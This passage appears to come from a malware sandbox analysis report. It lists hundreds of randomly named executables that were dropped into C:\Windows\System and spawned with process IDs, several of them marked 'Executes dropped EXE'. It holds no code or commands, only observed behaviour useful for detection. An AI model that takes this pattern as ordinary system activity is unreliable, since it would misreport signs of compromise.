  C:\Windows\System\zRPDGBb.exe
  2⤵
  - Executes dropped EXE
  PID:4580
- C:\Windows\System\XMinHdy.exe
  C:\Windows\System\XMinHdy.exe
  2⤵
  - Executes dropped EXE
  PID:1544
- C:\Windows\System\ulJUAWf.exe
  C:\Windows\System\ulJUAWf.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\IaHWWCh.exe
  C:\Windows\System\IaHWWCh.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\lMHRxVB.exe
  C:\Windows\System\lMHRxVB.exe
  2⤵
  - Executes dropped EXE
  PID:4100
- C:\Windows\System\nEnQgan.exe
  C:\Windows\System\nEnQgan.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\GGrGqLe.exe
  C:\Windows\System\GGrGqLe.exe
  2⤵
  - Executes dropped EXE
  PID:3480
- C:\Windows\System\fVXVYao.exe
  C:\Windows\System\fVXVYao.exe
  2⤵
  - Executes dropped EXE
  PID:1460
- C:\Windows\System\EvyMZrD.exe
  C:\Windows\System\EvyMZrD.exe
  2⤵
  - Executes dropped EXE
  PID:3608
- C:\Windows\System\gdKMgIm.exe
  C:\Windows\System\gdKMgIm.exe
  2⤵
  - Executes dropped EXE
  PID:3876
- C:\Windows\System\CxGpbxu.exe
  C:\Windows\System\CxGpbxu.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\HVPNAlh.exe
  C:\Windows\System\HVPNAlh.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\PrZDrEg.exe
  C:\Windows\System\PrZDrEg.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\OZDkBtV.exe
  C:\Windows\System\OZDkBtV.exe
  2⤵
  - Executes dropped EXE
  PID:3092
- C:\Windows\System\cQvgQhP.exe
  C:\Windows\System\cQvgQhP.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\IJSzlad.exe
  C:\Windows\System\IJSzlad.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\dCMHFuA.exe
  C:\Windows\System\dCMHFuA.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\UErcOaE.exe
  C:\Windows\System\UErcOaE.exe
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Windows\System\rQSxZYj.exe
  C:\Windows\System\rQSxZYj.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\kShCrFL.exe
  C:\Windows\System\kShCrFL.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Windows\System\bFOaERU.exe
  C:\Windows\System\bFOaERU.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\iDjLmgq.exe
  C:\Windows\System\iDjLmgq.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\nRpGcXf.exe
  C:\Windows\System\nRpGcXf.exe
  2⤵
  - Executes dropped EXE
  PID:4728
- C:\Windows\System\fKSYjCZ.exe
  C:\Windows\System\fKSYjCZ.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\Windows\System\BagWjvn.exe
  C:\Windows\System\BagWjvn.exe
  2⤵
  - Executes dropped EXE
  PID:5028
- C:\Windows\System\yovRtHK.exe
  C:\Windows\System\yovRtHK.exe
  2⤵
  - Executes dropped EXE
  PID:3256
- C:\Windows\System\ufhHJyt.exe
  C:\Windows\System\ufhHJyt.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\zIlcePF.exe
  C:\Windows\System\zIlcePF.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\degQRYh.exe
  C:\Windows\System\degQRYh.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\hMdLfzo.exe
  C:\Windows\System\hMdLfzo.exe
  2⤵
  - Executes dropped EXE
  PID:4116
- C:\Windows\System\tRWzKgT.exe
  C:\Windows\System\tRWzKgT.exe
  2⤵
  PID:3716
- C:\Windows\System\IoXrtWa.exe
  C:\Windows\System\IoXrtWa.exe
  2⤵
  PID:4448
- C:\Windows\System\NQRHFVh.exe
  C:\Windows\System\NQRHFVh.exe
  2⤵
  PID:4036
- C:\Windows\System\sxErMwq.exe
  C:\Windows\System\sxErMwq.exe
  2⤵
  PID:4748
- C:\Windows\System\oNrXrAz.exe
  C:\Windows\System\oNrXrAz.exe
  2⤵
  PID:4432
- C:\Windows\System\hbxyTpn.exe
  C:\Windows\System\hbxyTpn.exe
  2⤵
  PID:548
- C:\Windows\System\YWrCmoI.exe
  C:\Windows\System\YWrCmoI.exe
  2⤵
  PID:3252
- C:\Windows\System\syeMKom.exe
  C:\Windows\System\syeMKom.exe
  2⤵
  PID:4232
- C:\Windows\System\byXbcMx.exe
  C:\Windows\System\byXbcMx.exe
  2⤵
  PID:4228
- C:\Windows\System\ciRfcHW.exe
  C:\Windows\System\ciRfcHW.exe
  2⤵
  PID:1540
- C:\Windows\System\htFYAcG.exe
  C:\Windows\System\htFYAcG.exe
  2⤵
  PID:5128
- C:\Windows\System\KuYAzvk.exe
  C:\Windows\System\KuYAzvk.exe
  2⤵
  PID:5156
- C:\Windows\System\fWsJxUY.exe
  C:\Windows\System\fWsJxUY.exe
  2⤵
  PID:5184
- C:\Windows\System\ySbcasq.exe
  C:\Windows\System\ySbcasq.exe
  2⤵
  PID:5216
- C:\Windows\System\JCBCoHk.exe
  C:\Windows\System\JCBCoHk.exe
  2⤵
  PID:5240
- C:\Windows\System\BTMqfNJ.exe
  C:\Windows\System\BTMqfNJ.exe
  2⤵
  PID:5268
- C:\Windows\System\zZaKPAf.exe
  C:\Windows\System\zZaKPAf.exe
  2⤵
  PID:5296
- C:\Windows\System\PQRSQic.exe
  C:\Windows\System\PQRSQic.exe
  2⤵
  PID:5324
- C:\Windows\System\Bnlpisv.exe
  C:\Windows\System\Bnlpisv.exe
  2⤵
  PID:5352
- C:\Windows\System\CZKSqnM.exe
  C:\Windows\System\CZKSqnM.exe
  2⤵
  PID:5380
- C:\Windows\System\eOwVzis.exe
  C:\Windows\System\eOwVzis.exe
  2⤵
  PID:5408
- C:\Windows\System\mliiUuL.exe
  C:\Windows\System\mliiUuL.exe
  2⤵
  PID:5436
- C:\Windows\System\AupjhmL.exe
  C:\Windows\System\AupjhmL.exe
  2⤵
  PID:5464
- C:\Windows\System\YjMUFHd.exe
  C:\Windows\System\YjMUFHd.exe
  2⤵
  PID:5492
- C:\Windows\System\lOwuklR.exe
  C:\Windows\System\lOwuklR.exe
  2⤵
  PID:5520
- C:\Windows\System\RIzRBYs.exe
  C:\Windows\System\RIzRBYs.exe
  2⤵
  PID:5548
- C:\Windows\System\uYiqzkS.exe
  C:\Windows\System\uYiqzkS.exe
  2⤵
  PID:5596
- C:\Windows\System\ePNraWa.exe
  C:\Windows\System\ePNraWa.exe
  2⤵
  PID:5616
- C:\Windows\System\EFWEjGo.exe
  C:\Windows\System\EFWEjGo.exe
  2⤵
  PID:5644
- C:\Windows\System\tkWnfYj.exe
  C:\Windows\System\tkWnfYj.exe
  2⤵
  PID:5660
- C:\Windows\System\wMxbnhY.exe
  C:\Windows\System\wMxbnhY.exe
  2⤵
  PID:5688
- C:\Windows\System\movhIsq.exe
  C:\Windows\System\movhIsq.exe
  2⤵
  PID:5716
- C:\Windows\System\EGOZDhi.exe
  C:\Windows\System\EGOZDhi.exe
  2⤵
  PID:5744
- C:\Windows\System\YJxoOAN.exe
  C:\Windows\System\YJxoOAN.exe
  2⤵
  PID:5772
- C:\Windows\System\mXAOcQt.exe
  C:\Windows\System\mXAOcQt.exe
  2⤵
  PID:5800
- C:\Windows\System\bcXAoTs.exe
  C:\Windows\System\bcXAoTs.exe
  2⤵
  PID:5828
- C:\Windows\System\GVytJrL.exe
  C:\Windows\System\GVytJrL.exe
  2⤵
  PID:5856
- C:\Windows\System\BebmSxK.exe
  C:\Windows\System\BebmSxK.exe
  2⤵
  PID:5884
- C:\Windows\System\UxnGVaO.exe
  C:\Windows\System\UxnGVaO.exe
  2⤵
  PID:5912
- C:\Windows\System\xrJtVwY.exe
  C:\Windows\System\xrJtVwY.exe
  2⤵
  PID:5940
- C:\Windows\System\QmoWWvD.exe
  C:\Windows\System\QmoWWvD.exe
  2⤵
  PID:5968
- C:\Windows\System\hSqowNI.exe
  C:\Windows\System\hSqowNI.exe
  2⤵
  PID:5996
- C:\Windows\System\KjYaVbt.exe
  C:\Windows\System\KjYaVbt.exe
  2⤵
  PID:6024
- C:\Windows\System\uJaLPlS.exe
  C:\Windows\System\uJaLPlS.exe
  2⤵
  PID:6052
- C:\Windows\System\DDMIJvd.exe
  C:\Windows\System\DDMIJvd.exe
  2⤵
  PID:6080
- C:\Windows\System\QmsbPZt.exe
  C:\Windows\System\QmsbPZt.exe
  2⤵
  PID:6108
- C:\Windows\System\gNpctJz.exe
  C:\Windows\System\gNpctJz.exe
  2⤵
  PID:6136
- C:\Windows\System\QTAnmtY.exe
  C:\Windows\System\QTAnmtY.exe
  2⤵
  PID:3700
- C:\Windows\System\prEOjdK.exe
  C:\Windows\System\prEOjdK.exe
  2⤵
  PID:3084
- C:\Windows\System\xVbOwgG.exe
  C:\Windows\System\xVbOwgG.exe
  2⤵
  PID:3500
- C:\Windows\System\GPqoccP.exe
  C:\Windows\System\GPqoccP.exe
  2⤵
  PID:1504
- C:\Windows\System\YagBawj.exe
  C:\Windows\System\YagBawj.exe
  2⤵
  PID:5140
- C:\Windows\System\hNRBBZJ.exe
  C:\Windows\System\hNRBBZJ.exe
  2⤵
  PID:5200
- C:\Windows\System\scnkaKn.exe
  C:\Windows\System\scnkaKn.exe
  2⤵
  PID:5260
- C:\Windows\System\VOJFxgB.exe
  C:\Windows\System\VOJFxgB.exe
  2⤵
  PID:1632
- C:\Windows\System\wPPEKZn.exe
  C:\Windows\System\wPPEKZn.exe
  2⤵
  PID:5392
- C:\Windows\System\pdkQhDA.exe
  C:\Windows\System\pdkQhDA.exe
  2⤵
  PID:5452
- C:\Windows\System\tVBcQjB.exe
  C:\Windows\System\tVBcQjB.exe
  2⤵
  PID:5512
- C:\Windows\System\WluFAtc.exe
  C:\Windows\System\WluFAtc.exe
  2⤵
  PID:5580
- C:\Windows\System\kcazJnW.exe
  C:\Windows\System\kcazJnW.exe
  2⤵
  PID:5632
- C:\Windows\System\eCuOncX.exe
  C:\Windows\System\eCuOncX.exe
  2⤵
  PID:5700
- C:\Windows\System\jqohaCZ.exe
  C:\Windows\System\jqohaCZ.exe
  2⤵
  PID:5756
- C:\Windows\System\sQWPfLz.exe
  C:\Windows\System\sQWPfLz.exe
  2⤵
  PID:5816
- C:\Windows\System\tPFlTrq.exe
  C:\Windows\System\tPFlTrq.exe
  2⤵
  PID:5872
- C:\Windows\System\WhDNODv.exe
  C:\Windows\System\WhDNODv.exe
  2⤵
  PID:5932
- C:\Windows\System\KANcaKX.exe
  C:\Windows\System\KANcaKX.exe
  2⤵
  PID:5980
- C:\Windows\System\eHYMhyL.exe
  C:\Windows\System\eHYMhyL.exe
  2⤵
  PID:6040
- C:\Windows\System\kOrJfkg.exe
  C:\Windows\System\kOrJfkg.exe
  2⤵
  PID:6100
- C:\Windows\System\vNuQoll.exe
  C:\Windows\System\vNuQoll.exe
  2⤵
  PID:3300
- C:\Windows\System\HTzXEtr.exe
  C:\Windows\System\HTzXEtr.exe
  2⤵
  PID:2488
- C:\Windows\System\IqDqRgK.exe
  C:\Windows\System\IqDqRgK.exe
  2⤵
  PID:5168
- C:\Windows\System\HSXvFoI.exe
  C:\Windows\System\HSXvFoI.exe
  2⤵
  PID:5308
- C:\Windows\System\HwjmDQL.exe
  C:\Windows\System\HwjmDQL.exe
  2⤵
  PID:5420
- C:\Windows\System\dfJWcjp.exe
  C:\Windows\System\dfJWcjp.exe
  2⤵
  PID:5540
- C:\Windows\System\pRRmABt.exe
  C:\Windows\System\pRRmABt.exe
  2⤵
  PID:5672
- C:\Windows\System\OwkqhvN.exe
  C:\Windows\System\OwkqhvN.exe
  2⤵
  PID:5788
- C:\Windows\System\xBReRkP.exe
  C:\Windows\System\xBReRkP.exe
  2⤵
  PID:5904
- C:\Windows\System\QuXpYUD.exe
  C:\Windows\System\QuXpYUD.exe
  2⤵
  PID:6008
- C:\Windows\System\OtnxTFf.exe
  C:\Windows\System\OtnxTFf.exe
  2⤵
  PID:4324
- C:\Windows\System\CRjNIST.exe
  C:\Windows\System\CRjNIST.exe
  2⤵
  PID:2096
- C:\Windows\System\jJZhfZu.exe
  C:\Windows\System\jJZhfZu.exe
  2⤵
  PID:5364
- C:\Windows\System\NNdXtet.exe
  C:\Windows\System\NNdXtet.exe
  2⤵
  PID:5608
- C:\Windows\System\rGWMUYW.exe
  C:\Windows\System\rGWMUYW.exe
  2⤵
  PID:6168
- C:\Windows\System\zrNHmLD.exe
  C:\Windows\System\zrNHmLD.exe
  2⤵
  PID:6196
- C:\Windows\System\jzpprPg.exe
  C:\Windows\System\jzpprPg.exe
  2⤵
  PID:6224
- C:\Windows\System\WgbJBRa.exe
  C:\Windows\System\WgbJBRa.exe
  2⤵
  PID:6252
- C:\Windows\System\BGIxcFB.exe
  C:\Windows\System\BGIxcFB.exe
  2⤵
  PID:6284
- C:\Windows\System\StkQDHK.exe
  C:\Windows\System\StkQDHK.exe
  2⤵
  PID:6312
- C:\Windows\System\BRkDTkz.exe
  C:\Windows\System\BRkDTkz.exe
  2⤵
  PID:6340
- C:\Windows\System\XTDaxFe.exe
  C:\Windows\System\XTDaxFe.exe
  2⤵
  PID:6368
- C:\Windows\System\GnxVcye.exe
  C:\Windows\System\GnxVcye.exe
  2⤵
  PID:6396
- C:\Windows\System\dFdIZlv.exe
  C:\Windows\System\dFdIZlv.exe
  2⤵
  PID:6424
- C:\Windows\System\ROiJvSK.exe
  C:\Windows\System\ROiJvSK.exe
  2⤵
  PID:6452
- C:\Windows\System\vRqSSLn.exe
  C:\Windows\System\vRqSSLn.exe
  2⤵
  PID:6480
- C:\Windows\System\TCVnByF.exe
  C:\Windows\System\TCVnByF.exe
  2⤵
  PID:6504
- C:\Windows\System\xbDXIcy.exe
  C:\Windows\System\xbDXIcy.exe
  2⤵
  PID:6536
- C:\Windows\System\VLxVAWB.exe
  C:\Windows\System\VLxVAWB.exe
  2⤵
  PID:6564
- C:\Windows\System\bPWfxSI.exe
  C:\Windows\System\bPWfxSI.exe
  2⤵
  PID:6592
- C:\Windows\System\DErtxoX.exe
  C:\Windows\System\DErtxoX.exe
  2⤵
  PID:6620
- C:\Windows\System\exVnUBt.exe
  C:\Windows\System\exVnUBt.exe
  2⤵
  PID:6648
- C:\Windows\System\UFOFSZQ.exe
  C:\Windows\System\UFOFSZQ.exe
  2⤵
  PID:6676
- C:\Windows\System\aiLhMDp.exe
  C:\Windows\System\aiLhMDp.exe
  2⤵
  PID:6704
- C:\Windows\System\qjkpyZW.exe
  C:\Windows\System\qjkpyZW.exe
  2⤵
  PID:6732
- C:\Windows\System\gwpnFaL.exe
  C:\Windows\System\gwpnFaL.exe
  2⤵
  PID:6760
- C:\Windows\System\xiBjori.exe
  C:\Windows\System\xiBjori.exe
  2⤵
  PID:6788
- C:\Windows\System\ZajIYxI.exe
  C:\Windows\System\ZajIYxI.exe
  2⤵
  PID:6816
- C:\Windows\System\hOlVhpf.exe
  C:\Windows\System\hOlVhpf.exe
  2⤵
  PID:6844
- C:\Windows\System\HNWBxRV.exe
  C:\Windows\System\HNWBxRV.exe
  2⤵
  PID:6872
- C:\Windows\System\uAUTTtE.exe
  C:\Windows\System\uAUTTtE.exe
  2⤵
  PID:6900
- C:\Windows\System\UFFvJRv.exe
  C:\Windows\System\UFFvJRv.exe
  2⤵
  PID:6928
- C:\Windows\System\MYdIFpx.exe
  C:\Windows\System\MYdIFpx.exe
  2⤵
  PID:6956
- C:\Windows\System\fRZmyTQ.exe
  C:\Windows\System\fRZmyTQ.exe
  2⤵
  PID:6984
- C:\Windows\System\JnRTosd.exe
  C:\Windows\System\JnRTosd.exe
  2⤵
  PID:7052
- C:\Windows\System\YIPhzWz.exe
  C:\Windows\System\YIPhzWz.exe
  2⤵
  PID:7068
- C:\Windows\System\lQdJcOm.exe
  C:\Windows\System\lQdJcOm.exe
  2⤵
  PID:7084
- C:\Windows\System\RkqMuNZ.exe
  C:\Windows\System\RkqMuNZ.exe
  2⤵
  PID:7116
- C:\Windows\System\RSDEFSL.exe
  C:\Windows\System\RSDEFSL.exe
  2⤵
  PID:7164
- C:\Windows\System\QYZlDad.exe
  C:\Windows\System\QYZlDad.exe
  2⤵
  PID:5844
- C:\Windows\System\PItLLTc.exe
  C:\Windows\System\PItLLTc.exe
  2⤵
  PID:3024
- C:\Windows\System\CnbeTIw.exe
  C:\Windows\System\CnbeTIw.exe
  2⤵
  PID:3144
- C:\Windows\System\CuQZPNX.exe
  C:\Windows\System\CuQZPNX.exe
  2⤵
  PID:4588
- C:\Windows\System\JcyVdBx.exe
  C:\Windows\System\JcyVdBx.exe
  2⤵
  PID:6192
- C:\Windows\System\urTNUkz.exe
  C:\Windows\System\urTNUkz.exe
  2⤵
  PID:6268
- C:\Windows\System\xkqTTFo.exe
  C:\Windows\System\xkqTTFo.exe
  2⤵
  PID:6296
- C:\Windows\System\IIRJReq.exe
  C:\Windows\System\IIRJReq.exe
  2⤵
  PID:6328
- C:\Windows\System\Ehtrgoz.exe
  C:\Windows\System\Ehtrgoz.exe
  2⤵
  PID:6360
- C:\Windows\System\wipwSRs.exe
  C:\Windows\System\wipwSRs.exe
  2⤵
  PID:1012
- C:\Windows\System\zWyTvwE.exe
  C:\Windows\System\zWyTvwE.exe
  2⤵
  PID:2668
- C:\Windows\System\HfQBEGm.exe
  C:\Windows\System\HfQBEGm.exe
  2⤵
  PID:6500
- C:\Windows\System\ODqKHXa.exe
  C:\Windows\System\ODqKHXa.exe
  2⤵
  PID:6548
- C:\Windows\System\UOzhsxx.exe
  C:\Windows\System\UOzhsxx.exe
  2⤵
  PID:6612
- C:\Windows\System\zofmDTE.exe
  C:\Windows\System\zofmDTE.exe
  2⤵
  PID:4808
- C:\Windows\System\LEPpVww.exe
  C:\Windows\System\LEPpVww.exe
  2⤵
  PID:6688
- C:\Windows\System\MUFrDZR.exe
  C:\Windows\System\MUFrDZR.exe
  2⤵
  PID:2612
- C:\Windows\System\cSYctfD.exe
  C:\Windows\System\cSYctfD.exe
  2⤵
  PID:3628
- C:\Windows\System\XFbLfNC.exe
  C:\Windows\System\XFbLfNC.exe
  2⤵
  PID:6828
- C:\Windows\System\OLgzHDU.exe
  C:\Windows\System\OLgzHDU.exe
  2⤵
  PID:6836
- C:\Windows\System\YGYlfEv.exe
  C:\Windows\System\YGYlfEv.exe
  2⤵
  PID:6892
- C:\Windows\System\PfzZwHO.exe
  C:\Windows\System\PfzZwHO.exe
  2⤵
  PID:6968
- C:\Windows\System\hjRfxaN.exe
  C:\Windows\System\hjRfxaN.exe
  2⤵
  PID:2788
- C:\Windows\System\QHBOZFX.exe
  C:\Windows\System\QHBOZFX.exe
  2⤵
  PID:4508
- C:\Windows\System\KzRwgMi.exe
  C:\Windows\System\KzRwgMi.exe
  2⤵
  PID:7032
- C:\Windows\System\uBmlojQ.exe
  C:\Windows\System\uBmlojQ.exe
  2⤵
  PID:7044
- C:\Windows\System\IHFoBEh.exe
  C:\Windows\System\IHFoBEh.exe
  2⤵
  PID:7100
- C:\Windows\System\naRfYFb.exe
  C:\Windows\System\naRfYFb.exe
  2⤵
  PID:956
- C:\Windows\System\Emhpegq.exe
  C:\Windows\System\Emhpegq.exe
  2⤵
  PID:6072
- C:\Windows\System\GxJHxRe.exe
  C:\Windows\System\GxJHxRe.exe
  2⤵
  PID:1404
- C:\Windows\System\HSxTber.exe
  C:\Windows\System\HSxTber.exe
  2⤵
  PID:3816
- C:\Windows\System\SqDwrVJ.exe
  C:\Windows\System\SqDwrVJ.exe
  2⤵
  PID:4732
- C:\Windows\System\GkrGrWn.exe
  C:\Windows\System\GkrGrWn.exe
  2⤵
  PID:6384
- C:\Windows\System\hCcqJTi.exe
  C:\Windows\System\hCcqJTi.exe
  2⤵
  PID:4548
- C:\Windows\System\lCHAtgQ.exe
  C:\Windows\System\lCHAtgQ.exe
  2⤵
  PID:1844
- C:\Windows\System\osEKoCs.exe
  C:\Windows\System\osEKoCs.exe
  2⤵
  PID:6604
- C:\Windows\System\KdpGivx.exe
  C:\Windows\System\KdpGivx.exe
  2⤵
  PID:4932
- C:\Windows\System\pUPswtm.exe
  C:\Windows\System\pUPswtm.exe
  2⤵
  PID:4912
- C:\Windows\System\sUtvBnT.exe
  C:\Windows\System\sUtvBnT.exe
  2⤵
  PID:4060
- C:\Windows\System\oWoKzcp.exe
  C:\Windows\System\oWoKzcp.exe
  2⤵
  PID:7080
- C:\Windows\System\JaHIbdj.exe
  C:\Windows\System\JaHIbdj.exe
  2⤵
  PID:7064
- C:\Windows\System\eRGJWtZ.exe
  C:\Windows\System\eRGJWtZ.exe
  2⤵
  PID:1036
- C:\Windows\System\eNmRvWL.exe
  C:\Windows\System\eNmRvWL.exe
  2⤵
  PID:884
- C:\Windows\System\GZNKTib.exe
  C:\Windows\System\GZNKTib.exe
  2⤵
  PID:6304
- C:\Windows\System\YPCHMiy.exe
  C:\Windows\System\YPCHMiy.exe
  2⤵
  PID:6528
- C:\Windows\System\WYBYuFG.exe
  C:\Windows\System\WYBYuFG.exe
  2⤵
  PID:3288
- C:\Windows\System\BcXJpxB.exe
  C:\Windows\System\BcXJpxB.exe
  2⤵
  PID:4484
- C:\Windows\System\XzVuOcJ.exe
  C:\Windows\System\XzVuOcJ.exe
  2⤵
  PID:6580
- C:\Windows\System\HIcdkoj.exe
  C:\Windows\System\HIcdkoj.exe
  2⤵
  PID:6244
- C:\Windows\System\ASFuSAR.exe
  C:\Windows\System\ASFuSAR.exe
  2⤵
  PID:7092
- C:\Windows\System\RBRVpWi.exe
  C:\Windows\System\RBRVpWi.exe
  2⤵
  PID:7184
- C:\Windows\System\mMyLLCF.exe
  C:\Windows\System\mMyLLCF.exe
  2⤵
  PID:7208
- C:\Windows\System\qxjbrHW.exe
  C:\Windows\System\qxjbrHW.exe
  2⤵
  PID:7228
- C:\Windows\System\mdNDEjS.exe
  C:\Windows\System\mdNDEjS.exe
  2⤵
  PID:7248
- C:\Windows\System\vqUQUXa.exe
  C:\Windows\System\vqUQUXa.exe
  2⤵
  PID:7280
- C:\Windows\System\CDDVpRE.exe
  C:\Windows\System\CDDVpRE.exe
  2⤵
  PID:7312
- C:\Windows\System\AdDOnoo.exe
  C:\Windows\System\AdDOnoo.exe
  2⤵
  PID:7328
- C:\Windows\System\gVKZXEC.exe
  C:\Windows\System\gVKZXEC.exe
  2⤵
  PID:7372
- C:\Windows\System\UaDNLqF.exe
  C:\Windows\System\UaDNLqF.exe
  2⤵
  PID:7404
- C:\Windows\System\klLeieB.exe
  C:\Windows\System\klLeieB.exe
  2⤵
  PID:7424
- C:\Windows\System\BLKFuCt.exe
  C:\Windows\System\BLKFuCt.exe
  2⤵
  PID:7460
- C:\Windows\System\FkgOnBC.exe
  C:\Windows\System\FkgOnBC.exe
  2⤵
  PID:7488
- C:\Windows\System\VYkVhBd.exe
  C:\Windows\System\VYkVhBd.exe
  2⤵
  PID:7512
- C:\Windows\System\TBXIkQz.exe
  C:\Windows\System\TBXIkQz.exe
  2⤵
  PID:7544
- C:\Windows\System\HJVzahx.exe
  C:\Windows\System\HJVzahx.exe
  2⤵
  PID:7564
- C:\Windows\System\ZYZOzku.exe
  C:\Windows\System\ZYZOzku.exe
  2⤵
  PID:7604
- C:\Windows\System\zZdEnny.exe
  C:\Windows\System\zZdEnny.exe
  2⤵
  PID:7628
- C:\Windows\System\nftHqzR.exe
  C:\Windows\System\nftHqzR.exe
  2⤵
  PID:7648
- C:\Windows\System\vOpNNLz.exe
  C:\Windows\System\vOpNNLz.exe
  2⤵
  PID:7676
- C:\Windows\System\TMSktne.exe
  C:\Windows\System\TMSktne.exe
  2⤵
  PID:7700
- C:\Windows\System\FWKRTDF.exe
  C:\Windows\System\FWKRTDF.exe
  2⤵
  PID:7720
- C:\Windows\System\cCfQCmp.exe
  C:\Windows\System\cCfQCmp.exe
  2⤵
  PID:7740
- C:\Windows\System\zJxEfmj.exe
  C:\Windows\System\zJxEfmj.exe
  2⤵
  PID:7776
- C:\Windows\System\PGIzQuj.exe
  C:\Windows\System\PGIzQuj.exe
  2⤵
  PID:7808
- C:\Windows\System\CQzVmSf.exe
  C:\Windows\System\CQzVmSf.exe
  2⤵
  PID:7856
- C:\Windows\System\viObAwX.exe
  C:\Windows\System\viObAwX.exe
  2⤵
  PID:7872
- C:\Windows\System\sVRffRJ.exe
  C:\Windows\System\sVRffRJ.exe
  2⤵
  PID:7892
- C:\Windows\System\bYISLxl.exe
  C:\Windows\System\bYISLxl.exe
  2⤵
  PID:7920
- C:\Windows\System\CbPsBZf.exe
  C:\Windows\System\CbPsBZf.exe
  2⤵
  PID:7972
- C:\Windows\System\NSvVBzj.exe
  C:\Windows\System\NSvVBzj.exe
  2⤵
  PID:7988
- C:\Windows\System\oqZFjcW.exe
  C:\Windows\System\oqZFjcW.exe
  2⤵
  PID:8008
- C:\Windows\System\cUhUDpP.exe
  C:\Windows\System\cUhUDpP.exe
  2⤵
  PID:8032
- C:\Windows\System\UgOvpna.exe
  C:\Windows\System\UgOvpna.exe
  2⤵
  PID:8076
- C:\Windows\System\RgmdNuQ.exe
  C:\Windows\System\RgmdNuQ.exe
  2⤵
  PID:8100
- C:\Windows\System\cxpRumL.exe
  C:\Windows\System\cxpRumL.exe
  2⤵
  PID:8120
- C:\Windows\System\KFHXLaH.exe
  C:\Windows\System\KFHXLaH.exe
  2⤵
  PID:8144
- C:\Windows\System\zTPFjYA.exe
  C:\Windows\System\zTPFjYA.exe
  2⤵
  PID:8188
- C:\Windows\System\RUHQUXv.exe
  C:\Windows\System\RUHQUXv.exe
  2⤵
  PID:7200
- C:\Windows\System\kWndyuB.exe
  C:\Windows\System\kWndyuB.exe
  2⤵
  PID:7236
- C:\Windows\System\SWdArUs.exe
  C:\Windows\System\SWdArUs.exe
  2⤵
  PID:7324
- C:\Windows\System\EXZfBcw.exe
  C:\Windows\System\EXZfBcw.exe
  2⤵
  PID:7412
- C:\Windows\System\icdHzdX.exe
  C:\Windows\System\icdHzdX.exe
  2⤵
  PID:7444
- C:\Windows\System\pCaeLmU.exe
  C:\Windows\System\pCaeLmU.exe
  2⤵
  PID:7540
- C:\Windows\System\LarTSHf.exe
  C:\Windows\System\LarTSHf.exe
  2⤵
  PID:7596
- C:\Windows\System\mjWpuYD.exe
  C:\Windows\System\mjWpuYD.exe
  2⤵
  PID:7644
- C:\Windows\System\LRpYaUn.exe
  C:\Windows\System\LRpYaUn.exe
  2⤵
  PID:7688
- C:\Windows\System\lttqeDP.exe
  C:\Windows\System\lttqeDP.exe
  2⤵
  PID:7788
- C:\Windows\System\wIdQQQB.exe
  C:\Windows\System\wIdQQQB.exe
  2⤵
  PID:7848
- C:\Windows\System\mSkzjeb.exe
  C:\Windows\System\mSkzjeb.exe
  2⤵
  PID:7916
- C:\Windows\System\vodvirX.exe
  C:\Windows\System\vodvirX.exe
  2⤵
  PID:7964
- C:\Windows\System\WTSeaCN.exe
  C:\Windows\System\WTSeaCN.exe
  2⤵
  PID:8096
- C:\Windows\System\hNzIlaE.exe
  C:\Windows\System\hNzIlaE.exe
  2⤵
  PID:8132
- C:\Windows\System\SEGcjMJ.exe
  C:\Windows\System\SEGcjMJ.exe
  2⤵
  PID:7172
- C:\Windows\System\UNlnrqw.exe
  C:\Windows\System\UNlnrqw.exe
  2⤵
  PID:7416
- C:\Windows\System\DBUERnt.exe
  C:\Windows\System\DBUERnt.exe
  2⤵
  PID:7524
- C:\Windows\System\tdDNcsT.exe
  C:\Windows\System\tdDNcsT.exe
  2⤵
  PID:7636
- C:\Windows\System\cKEfCQs.exe
  C:\Windows\System\cKEfCQs.exe
  2⤵
  PID:7868
- C:\Windows\System\fUVBTyQ.exe
  C:\Windows\System\fUVBTyQ.exe
  2⤵
  PID:7768
- C:\Windows\System\PTxXujG.exe
  C:\Windows\System\PTxXujG.exe
  2⤵
  PID:8004
- C:\Windows\System\LwZrXAl.exe
  C:\Windows\System\LwZrXAl.exe
  2⤵
  PID:8180
- C:\Windows\System\oMRADpf.exe
  C:\Windows\System\oMRADpf.exe
  2⤵
  PID:7708
- C:\Windows\System\sNCHqda.exe
  C:\Windows\System\sNCHqda.exe
  2⤵
  PID:7496
- C:\Windows\System\POSMpEY.exe
  C:\Windows\System\POSMpEY.exe
  2⤵
  PID:7472
- C:\Windows\System\NruJDWm.exe
  C:\Windows\System\NruJDWm.exe
  2⤵
  PID:8220
- C:\Windows\System\UpbvRul.exe
  C:\Windows\System\UpbvRul.exe
  2⤵
  PID:8248
- C:\Windows\System\DPRpUMR.exe
  C:\Windows\System\DPRpUMR.exe
  2⤵
  PID:8264
- C:\Windows\System\xPeneJb.exe
  C:\Windows\System\xPeneJb.exe
  2⤵
  PID:8288
- C:\Windows\System\ASrNnTd.exe
  C:\Windows\System\ASrNnTd.exe
  2⤵
  PID:8344
- C:\Windows\System\oJCSAdW.exe
  C:\Windows\System\oJCSAdW.exe
  2⤵
  PID:8380
- C:\Windows\System\IqdJexF.exe
  C:\Windows\System\IqdJexF.exe
  2⤵
  PID:8400
- C:\Windows\System\HqhiMSo.exe
  C:\Windows\System\HqhiMSo.exe
  2⤵
  PID:8424
- C:\Windows\System\wfcdCLB.exe
  C:\Windows\System\wfcdCLB.exe
  2⤵
  PID:8440
- C:\Windows\System\CeZgSCD.exe
